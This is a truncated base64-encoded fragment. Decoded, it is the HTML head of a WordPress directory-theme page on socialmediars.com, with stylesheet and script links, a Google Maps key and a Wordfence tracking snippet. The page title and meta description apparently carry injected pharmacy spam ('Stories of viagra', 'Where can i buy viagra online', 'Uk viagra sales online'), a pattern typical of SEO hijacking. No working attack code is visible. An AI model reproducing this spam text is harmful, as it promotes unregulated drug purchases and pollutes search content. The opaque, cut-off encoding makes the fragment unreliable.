dGFyZ2V0LWRlbnNpdHlkcGk9ZGV2aWNlLWRwaSwgd2lkdGg9ZGV2aWNlLXdpZHRoJzsgfXZhciBtID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKVswXTsgbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShtZXRhLG0pOzwvc2NyaXB0PiAJCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iQWl0VGhlbWVzLmNsdWIsIGh0dHA6Ly93d3cuYWl0LXRoZW1lcy5jbHViIiAvPgoKCQk8dGl0bGU+U3RvcmllcyBvZiB2aWFncmE8L3RpdGxlPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW1lcmljYW5zIGhvb2tlZCBvbiB2aWFncmEuIFZpYWdyYSBhbmQgbWV0b3Byb2xvbC4gV2hlcmUgY2FuIGkgYnV5IHZpYWdyYSBvbmxpbmUuIEZlbWFsZSBsaXF1aWQgdmlhZ3JhLiBWaWFncmEgcmlza3MuIFZpYWdyYSBmcmFuY2UuIFZpYWdyYSBwcmVzY3JpcHRpb24gcHJpY2VzIC0gRkRBIEFwcHJvdmVkIFBoYXJtYWN5LiBVayB2aWFncmEgc2FsZXMgb25saW5lLiI+CgkJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPgoJCTxsaW5rIHJlbD0icGluZ2JhY2siIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20veG1scnBjLnBocCIgLz4KCgkJPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3N3YWxkIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgoKCQk8bGluayBpZD0iYWl0LXN0eWxlIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9zdHlsZS5jc3M/MTUxNjQ0NTExMyIgLz4KCjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL21hcHMuZ29vZ2xlLmNvbScgLz4KPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vcy53Lm9yZycgLz4KCgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQkJd2luZG93Ll93cGVtb2ppU2V0dGluZ3MgPSB7ImJhc2VVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcLzcyeDcyXC8iLCJleHQiOiIucG5nIiwic3ZnVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC9zdmdcLyIsInN2Z0V4dCI6Ii5zdmciLCJzb3VyY2UiOnsiY29uY2F0ZW1vamkiOiJodHRwOlwvXC93d3cuc29jaWFsbWVkaWFycy5jb21cL3dwLWluY2x1ZGVzXC9qc1wvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuOS4xMCJ9fTsKCQkJIWZ1bmN0aW9uKGEsYixjKXtmdW5jdGlvbiBkKGEsYil7dmFyIGM9U3RyaW5nLmZyb21DaGFyQ29kZTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYSksMCwwKTt2YXIgZD1rLnRvRGF0YVVSTCgpO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxiKSwwLDApO3ZhciBlPWsudG9EYXRhVVJMKCk7cmV0dXJuIGQ9PT1lfWZ1bmN0aW9uIGUoYSl7dmFyIGI7aWYoIWx8fCFsLmZpbGxUZXh0KXJldHVybiExO3N3aXRjaChsLnRleHRCYXNlbGluZT0idG9wIixsLmZvbnQ9IjYwMCAzMnB4IEFyaWFsIixhKXtjYXNlImZsYWciOnJldHVybiEoYj1kKFs1NTM1Niw1NjgyNiw1NTM1Niw1NjgxOV0sWzU1MzU2LDU2ODI2LDgyMDMsNTUzNTYsNTY4MTldKSkmJihiPWQoWzU1MzU2LDU3MzMyLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDE4LDU2MTI4LDU2NDIxLDU2MTI4LDU2NDMwLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDQ3XSxbNTUzNTYsNTczMzIsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDE4LDgyMDMsNTYxMjgsNTY0MjEsODIwMyw1NjEyOCw1NjQzMCw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0NDddKSwhYik7Y2FzZSJlbW9qaSI6cmV0dXJuIGI9ZChbNTUzNTgsNTY3NjAsOTc5Miw2NTAzOV0sWzU1MzU4LDU2NzYwLDgyMDMsOTc5Miw2NTAzOV0pLCFifXJldHVybiExfWZ1bmN0aW9uIGYoYSl7dmFyIGM9Yi5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnNyYz1hLGMuZGVmZXI9Yy50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLGIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5hcHBlbmRDaGlsZChjKX12YXIgZyxoLGksaixrPWIuY3JlYXRlRWxlbWVudCgiY2FudmFzIiksbD1rLmdldENvbnRleHQmJmsuZ2V0Q29udGV4dCgiMmQiKTtmb3Ioaj1BcnJheSgiZmxhZyIsImVtb2ppIiksYy5zdXBwb3J0cz17ZXZlcnl0aGluZzohMCxldmVyeXRoaW5nRXhjZXB0RmxhZzohMH0saT0wO2k8ai5sZW5ndGg7aSsrKWMuc3VwcG9ydHNbaltpXV09ZShqW2ldKSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nJiZjLnN1cHBvcnRzW2pbaV1dLCJmbGFnIiE9PWpbaV0mJihjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJmMuc3VwcG9ydHNbaltpXV0pO2Muc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmIWMuc3VwcG9ydHMuZmxhZyxjLkRPTVJlYWR5PSExLGMucmVhZHlDYWxsYmFjaz1mdW5jdGlvbigpe2MuRE9NUmVhZHk9ITB9LGMuc3VwcG9ydHMuZXZlcnl0aGluZ3x8KGg9ZnVuY3Rpb24oKXtjLnJlYWR5Q2FsbGJhY2soKX0sYi5hZGRFdmVudExpc3RlbmVyPyhiLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGgsITEpLGEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaCwhMSkpOihhLmF0dGFjaEV2ZW50KCJvbmxvYWQiLGgpLGIuYXR0YWNoRXZlbnQoIm9ucmVhZHlzdGF0ZWNoYW5nZSIsZnVuY3Rpb24oKXsiY29tcGxldGUiPT09Yi5yZWFkeVN0YXRlJiZjLnJlYWR5Q2FsbGJhY2soKX0pKSxnPWMuc291cmNlfHx7fSxnLmNvbmNhdGVtb2ppP2YoZy5jb25jYXRlbW9qaSk6Zy53cGVtb2ppJiZnLnR3ZW1vamkmJihmKGcudHdlbW9qaSksZihnLndwZW1vamkpKSl9KHdpbmRvdyxkb2N1bWVudCx3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyk7CgkJPC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29udGFjdC1mb3JtLTctY3NzJyAgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvY3NzL3N0eWxlcy5jc3M/dmVyPTQuOS4yJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vY3NzL3NldHRpbmdzLmNzcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcycgdHlwZT0ndGV4dC9jc3MnPgoudHAtY2FwdGlvbiBhe2NvbG9yOiNmZjczMDI7dGV4dC1zaGFkb3c6bm9uZTstd2Via2l0LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1vei10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1vLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1zLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXR9LnRwLWNhcHRpb24gYTpob3Zlcntjb2xvcjojZmZhOTAyfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LXByZXR0eVBob3RvLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvcHJldHR5UGhvdG8uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Ym94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvZmFuY3lib3gvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1ob3Zlci16b29tLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvaG92ZXJab29tLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWNoZWNrYm94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nanF1ZXJ5LXVpLWNzcy1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS11aS0xLjEwLjEuY3VzdG9tLm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LW1pZ3JhdGUubWluLmpzP3Zlcj0xLjQuMSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2Zyb250RW5kU2NyaXB0cy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvanF1ZXJ5LmpjYXJvdXNlbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2JmX3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnRvb2xzLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC5yZXZvbHV0aW9uLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaHRtbDUtcGxhY2Vob2xkZXItc2hpbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL21hcHMuZ29vZ2xlLmNvbS9tYXBzL2FwaS9qcz9rZXk9QUl6YVN5RDFuaHlySnJ5SFFFME42T1Foa29xd0VMQk0weE81ME5JJiMwMzg7c2Vuc29yPWZhbHNlJiMwMzg7bGFuZ3VhZ2U9ZW5fVVMmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMuaW5mb2JveC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaW5maWVsZGxhYmVsLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucHJldHR5UGhvdG8uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWJveC0xLjMuNC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmVhc2luZy0xLjMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkubmljZXNjcm9sbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5xdWlja3NhbmQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2hvdmVyLnpvb20uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5maW5pc2hlZFR5cGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc3Bpbi5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL21vZGVybml6ci50b3VjaC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2dyaWRnYWxsZXJ5LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvcmF0aW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgTXlBamF4ID0geyJhamF4dXJsIjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1hZG1pblwvYWRtaW4tYWpheC5waHAiLCJhamF4bm9uY2UiOiJkODk5YmE2NWI0In07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPGxpbmsgcmVsPSdodHRwczovL2FwaS53Lm9yZy8nIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtanNvbi8nIC8+CjxsaW5rIHJlbD0iRWRpdFVSSSIgdHlwZT0iYXBwbGljYXRpb24vcnNkK3htbCIgdGl0bGU9IlJTRCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS94bWxycGMucGhwP3JzZCIgLz4KPGxpbmsgcmVsPSJ3bHdtYW5pZmVzdCIgdHlwZT0iYXBwbGljYXRpb24vd2x3bWFuaWZlc3QreG1sIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL3dsd21hbmlmZXN0LnhtbCIgLz4gCjxsaW5rIHJlbD0iY2Fub25pY2FsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3NvY2lhbC1tZWRpYXJzLWctbW9uZXkvIiA+CjxsaW5rIHJlbD0nc2hvcnRsaW5rJyBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3NvY2lhbC1tZWRpYXJzLWctbW9uZXkvJyAvPgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KKGZ1bmN0aW9uKHVybCl7CglpZigvKD86Q2hyb21lXC8yNlwuMFwuMTQxMFwuNjMgU2FmYXJpXC81MzdcLjMxfFdvcmRmZW5jZVRlc3RNb25Cb3QpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXsgcmV0dXJuOyB9Cgl2YXIgYWRkRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5hdHRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIHJlbW92ZUV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuZGV0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuZGV0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciBldnRzID0gJ2NvbnRleHRtZW51IGRibGNsaWNrIGRyYWcgZHJhZ2VuZCBkcmFnZW50ZXIgZHJhZ2xlYXZlIGRyYWdvdmVyIGRyYWdzdGFydCBkcm9wIGtleWRvd24ga2V5cHJlc3Mga2V5dXAgbW91c2Vkb3duIG1vdXNlbW92ZSBtb3VzZW91dCBtb3VzZW92ZXIgbW91c2V1cCBtb3VzZXdoZWVsIHNjcm9sbCcuc3BsaXQoJyAnKTsKCXZhciBsb2dIdW1hbiA9IGZ1bmN0aW9uKCkgewoJCXZhciB3ZnNjciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwoJCXdmc2NyLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsKCQl3ZnNjci5hc3luYyA9IHRydWU7CgkJd2ZzY3Iuc3JjID0gdXJsICsgJyZyPScgKyBNYXRoLnJhbmRvbSgpOwoJCShkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZCh3ZnNjcik7CgkJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJCXJlbW92ZUV2ZW50KGV2dHNbaV0sIGxvZ0h1bWFuKTsKCQl9Cgl9OwoJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJYWRkRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJfQp9KSgnLy93d3cuc29jaWFsbWVkaWFycy5jb20vP3dvcmRmZW5jZV9saD0xJmhpZD1EMUQ3OTU3MzE4NUVERkY4REQ0RTlCQTkxMUE3NERBMCcpOwo8L3NjcmlwdD48bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0xNTB4MTUwLmpwZyIgc2l6ZXM9IjMyeDMyIiAvPgo8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0zMDB4MzAwLmpwZyIgc2l6ZXM9IjE5MngxOTIiIC8+CjxsaW5rIHJlbD0iYXBwbGUtdG91Y2gtaWNvbi1wcmVjb21wb3NlZCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTMwMHgzMDAuanBnIiAvPgo8bWV0YSBuYW1lPSJtc2FwcGxpY2F0aW9uLVRpbGVJbWFnZSIgY29udGVudD0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTMwMHgzMDAuanBnIiAvPgoKCQk8c2NyaXB0PgoJCS